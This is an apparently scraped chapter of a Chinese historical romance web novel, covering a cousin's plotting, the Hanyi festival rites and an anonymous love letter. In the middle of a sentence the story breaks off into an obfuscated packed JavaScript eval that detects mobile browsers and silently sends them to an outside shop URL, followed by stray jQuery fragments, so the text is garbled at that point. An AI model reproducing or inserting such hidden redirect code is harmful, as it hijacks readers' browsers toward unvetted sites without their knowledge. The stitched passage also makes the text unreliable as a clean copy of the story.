大雨如注的日子,却有两人借着风雨的遮掩,隔伞说着些不足为外人道的隐事。
素伞收起,两人躲进宽阔的木廊亭一角,亦是话语不休。
“那个女的都死多少年了,她下的崽竟也不让你安生。”
这些天以来,沈如蓉终于遇见个肯疼惜她的人,不禁挤出几滴眼泪来,极力作出那梨花带雨的楚楚模样。
这一套动作落在别人眼中或许得起一身鸡皮疙瘩来,但对面前的谭同光而言,恰恰十分受用。
他是心疼得不得了:“你嫁给他路元越这么多年,执掌中馈、生养女儿,哪样不是尽心尽力,他竟敢这么指摘你!”
沈如蓉更是哭腔难抑:“就是啊,表兄,我这些年来受这么多委屈,不都是因为他么。”
谭同光面露不忍,唏嘘说道:“当年若不是看这姓路的有希望做个小官,咱们家这么出挑的女儿,怎么会蒙上眼嫁给他呢。”
沈如蓉亦是在心中苦叹,二十多年前她娘家做渔业生意刚发了点小财,而她也到了适婚的年龄,本照理来说配路元越一个毫无依傍的举子是绰绰有余,根本不必如此伏低做小。
可爹娘非认为“万般皆下品,唯有读书高。”,而路元越又是个有潜望的,上赶着将女儿嫁了过去。
成亲过后,路元越还真不负众望当上个颇有油水的小官,连她的娘家都能被惠及。
而他又识她眼色,未曾纳过妾室,沈如蓉那时还以为自己真是走运,嫁了个顺从她的好丈夫。
只是这么些年过去,她就生下彦芝一个女儿,家宅内倒有些冷落。
沈如蓉明里暗里发苦水道过几回,丈夫还安慰她说自己并非那等迂腐之人,往后只将彦芝视若掌上明珠对待,那些闲言碎语不必在意。
沈如蓉当时真信了他的鬼话。但若不是后来亲眼所见,她真意想不到自己被骗了这么多年。
那外边宅子里的女人生下的孩子,也就比彦芝小两岁而已。
男人果真是管不住自己下半身的......沈如蓉经历过后才彻悟。只庆幸的是,老天还算长了眼,路元越做梦都想要个自己的儿子,最后也没能如愿。
而如今她娘家也没落不少,以往琴瑟和鸣、举案齐眉的假象终于告破。沈如蓉是生生咽下当初错看人的苦果。
眼下能让她倾诉的,也只有从小一起长大的表兄谭同光了。
“表兄定帮你出这口恶气!”谭同光拍着胸脯道。
沈如蓉惊喜交加:“你说真的?”
“表兄几时未说到做到过。”谭同光万分疼爱地望着小妹,仿佛还如儿时一般。
沈如蓉忍不住将头轻靠在他肩上,心满意足到说不出话来。
“不过还是得小心些,我先前也想过一个法子,你看如何......”她思量着开口说。
谭同光点点头,领会了她的意思。
话一说完,沈如蓉左右顾着,她今日是悄悄离府的,若耽搁太久怕被府上人发觉,有些人正愁寻不着她的错处呢。
她撑起伞来,找到了在外边把风的丫鬟,踏雨离去。
廊亭正好为行客遮住风雨,可迫不得已离开的人,又会被淋得湿透。
-
路晚双这几日格外殷勤。
在一桌用饭,她一个劲儿专挑燕应清爱吃的菜放在他碗中,连盛汤都亲自来帮忙。
天是越来越冷了,她就主动提醒他记得加衣,又请人多为他做了几身。
燕应清不是没感受出变化来,但若是没有路引的事在先就好了。
也罢,求人至少该有个态度。
只是他心里放不下另一事而已。
晚间他仍在书房批阅公文,路晚双见了,就亲自下厨做一碗红枣甜粥送来。
“我刚熬好的,你尝尝?”
燕应清闻言放下了手中文书,端起碗来浅尝一口。
“很甜。”
“哪里甜了?”她糖都没有多放,而且自己亲自尝过了。
“就是很甜,”燕应清语气不改,“但我又没说不好吃。”
路晚双气鼓鼓地说:“将军要是不喜食甜,那我以后少放些糖便是。”
阿昆在门外望见此等场景,就懂事地自顾自退下了。
等到书房只剩他们二人时,燕应清想了想,温声开口:“时候不早了,你先去睡吧。”
路晚双揉了揉眼:“我不困,陪着你也不妨事。”
这点温情也不似作假,燕应清坦然相信了。
不知为何,他忽然之间就想到爱藏榛果的栗鼠,总将自己珍视的东西埋在巢穴最底下。
可他不如栗鼠,总觉得自己那点私隐之心也是见不得光的。
路晚双嘴上说自己不困,但眼睫却控制不住眨得更快了,仿佛一闭眼就能与周公相见。
最后磨墨的手一停,人虽还站着,面上却已经是安然熟睡的模样了。
燕应清见了,好气又好笑,说要陪他,可后半夜都还没到,自己就先撑不过了。
他只敲了敲桌案,路晚双就一个激灵,条件反射地抬头睁开了眼。
“诶,现在几时了?”她脑袋发懵。
“已经快天亮了。”燕应清淡声回她。
路晚双不可置信地放下了手中墨块,又跑去窗前看了看外边的天色。
“你骗人。”她虽不知怎地就闭上了眼,但也就眯了一会儿而已。
燕应清一笑,放下手中墨笔,理好案牍便道:“今日就这样吧。”
路晚双都还没来得及反应:“不看了?”
“不看了。”
语毕,燕应清牵起她的手,一道闲步回了卧房。
今夜在明月朗照下,终于生出几分“庭下如积水空明”的闲情来。
-
再过几日,约莫就要到寒衣节了。
路晚双在现代时没过过这个节日,只知道清明和中元要给祖先祭祀烧纸。
从小她就跟着奶奶一道去墓园,先是看爷爷,再是看爸爸。
在爷爷的墓前,奶奶每次都骂骂咧咧说个不停。上完香过后,一面扯着纸钱,一面嘴里说着“就这么狠心,去这么早。”“连孙女的面都没见过。”之类的话。
等路晚双长大了些,奶奶说的话是少了些,默默地给爷爷烧了更多的纸。
带她到爸爸的墓前时,从没像那样骂过,只叹口气,然后用抹布擦擦石碑,让上头刻的字也能看清楚。再折一柄芦苇,将地面杂草扫拾干净,摆上柑橘或桃酥之类的点心。
“双双,给你爸爸作个揖。”
她照做。
路晚双对父亲的记忆甚少,只能从奶奶口中知晓些事。
比如他从前读书多认真,脾气也好,最爱吃木耳炒肉,也爱喝酒。
最后死因也与酒有关系。
只是世事无常,谁能想到呢。那个时候医疗条件又没那么好,奶奶可能也懊悔不已。
路晚双听她说:“别怪你妈妈。”
其实那时候她还没有这样想法。
最后倒上酒,奶奶就牵着她的手走了。
思绪回来,今年的寒衣节,秋嬷嬷说采买些赤豆和糯米,到时候府上会做豆羹给大家吃。
到日子后再用五彩纸裁成衣裳、鞋帽的样式,给逝者烧去。
将军府的话,大约准备燕应清的爹娘和祖父母的纸钱,分成一堆一堆的。
秋嬷嬷又告诉她:“今年要给夫人那边去世的亲人添份。”
路晚双还不知要烧给谁。
干脆给自己多烧些去,不能亏待自己。
从前她扫过的墓都不在这儿,为他们祭祀多少有些诡异。
思来想去,再有一个便是原主的生母。
她应该是个好人,路晚双也不亏待她。
燕家祖宅祖业不在金陵,坟茔仍立在荥阳,因此只在祠堂内做了祭礼。
路晚双被直往上冒的烟熏得眼睛疼,祠堂虽无风,但实在感到阴冷。
腾起的火焰并未堂内渡几分阳气,更让人心感阴阳两隔的无奈。
路晚双面对这些牌位,没有多大感觉,因为她不认识。
照顾她的奶奶又不是逝者,不能在这时候缅怀她。
而在古代生活得越久,对于她熟悉的亲人便感到离得更远了,心中泛出些不真实感。
燕应清用衣袖为她擦去颊腮无意沾上的尘灰,路晚双又蹲下来盯着火光无言发呆了。
只有原主的生母能牵动她原本平静无波的心绪。
她不信沈如蓉嘴里那些见不得光的难听话,母亲她一定是有苦衷的。
那样好的一个人,她一定要想办法了解她更多。
路晚双再往里头丢了两把纸钱,心里想一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938751|213807||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是给母亲的,另一些是给自己的。
如果她灵魂化作了两半,一半是死后复生的路晚双,那另一半会不会已经替自己上天堂了?
还是那句话,不亏待自己。
她转过头去看燕应清,火光将他的半张脸照得发亮。
眼下的燕府是冷清了些,但那些牌位后的,又都是真实存在过的人。
等去到死后的世界,是不是又是团圆的热闹场景。
届时便终于有人能为他们撑腰了。
燕应清面上并未有太多表情。
对自己诉说过无数次,却难以将这些托付给他人。
路晚双从前便懂过这般感受。
祭礼结束后,秋嬷嬷将熬好的一大锅豆羹,分发给府上众人。
路晚双接到第一碗,燕应清都在她后头。
秋嬷嬷笑着对她说:“这是‘五谷丰登’,快喝了暖暖身子。”
她尝了一口,是甜的。
“你这碗里面的莲子好像比我的多。”
“我又不爱吃,早知道该全挑给你。”
路晚双向右边望去,是瑞雪和阿昆说话的声音。
没想到他们都已经这么熟悉了,她欣慰笑笑。
阿昆嫌弃对瑞雪摆摆手:“我才不要,都是口水。”
瑞雪脸色一变,别过脸去高声喊:“谁真要给你了,不识好歹!”
路晚双哭笑不得,还真是小孩子脾性。
她碗里的豆羹见了底,燕应清又为她乘上一碗,还说:“晚上还有赤豆包吃。”
路晚双眼里又闪着期待的光了。
从前她就喜欢赤豆包,就不知府上做的合不合她的口味。
但她没想到的是,想吃还得她自己来包。
燕应清若无其事地对她说:“每年都这样。”
她才不信呢。
恐怕看她今年新来,逮着她压榨。
不过,燕应清自己捏起面皮动手来,还真是有模有样的。
路晚双也舀了一勺馅料,有样学样地包。
幸好没让她从面皮开始擀。
最后包了整整几大盘,连桌子都快放不下了。
就算当点心吃,也是不少的。
到晚饭的时候,也没再顾及什么规矩,毕竟府上实在人丁稀薄,瑞雪、阿昆、秋嬷嬷之类的侍从都与他们同桌饮食。
若是过年的话,还会在饺子或者糖包里头放两片铜钱,象征整年的好运。
路晚双不知不觉热泪盈眶了,这还是两世以来,头一回体会类似阖家欢乐的温情时刻。
从前与奶奶的家,也是家,但总与现在的不一样。
夜晚府上点起了灯笼,晚风轻拂,令人不自觉捂紧衣襟的领口。
路晚双坐在庭中石桌前,浅饮一口热茶:“这样的节日,结果被我们倒过得没几分感伤了。”
“这样也好。”燕应清说。
好在哪儿呢?
今人犹在,逝去的人却再也醒不来了。
但这句话若反过来说,意思又不同了。
“下回逢年过节,我要在糖包里放铜钱。”路晚双托着脸,眉眼笑得弯弯。
不只她一人的愿望,燕应清亦是笑着点头:“好啊。”
她接着兴奋道:“那就只放一个,看我们谁能吃到!”
真想快些到说定的时候啊。
-
几天后的一个清晨,燕应清收到了一封无名信。
信封将里头裹得严严实实,但拆开来看,只有仅仅一张纸。
他还猜想是哪个长官给他私寄的密函,结果看见内容后,他完全怔愣住了。
这是一封情信,没有落款,皆是些缠绵悱恻的词句。
他被引得像对方期望那般作想。
是她的口吻,却又不太像。
寄信人的目的是什么——离间他们夫妻二人,让她名声尽失?还是使他疑心发作,与她再无信任可言?
若达成这些目的,究竟有谁获益?
他不觉得这封信出自于她手,但却不经意触及燕应清更在意的另一件事。
他们都不约而同地没再提起,当作就此过去了。
从未过去,反而才刚开始。
水面下的暗礁,方真正浮起一点边角。
新婚之夜,她念出的那个名姓,究竟是谁。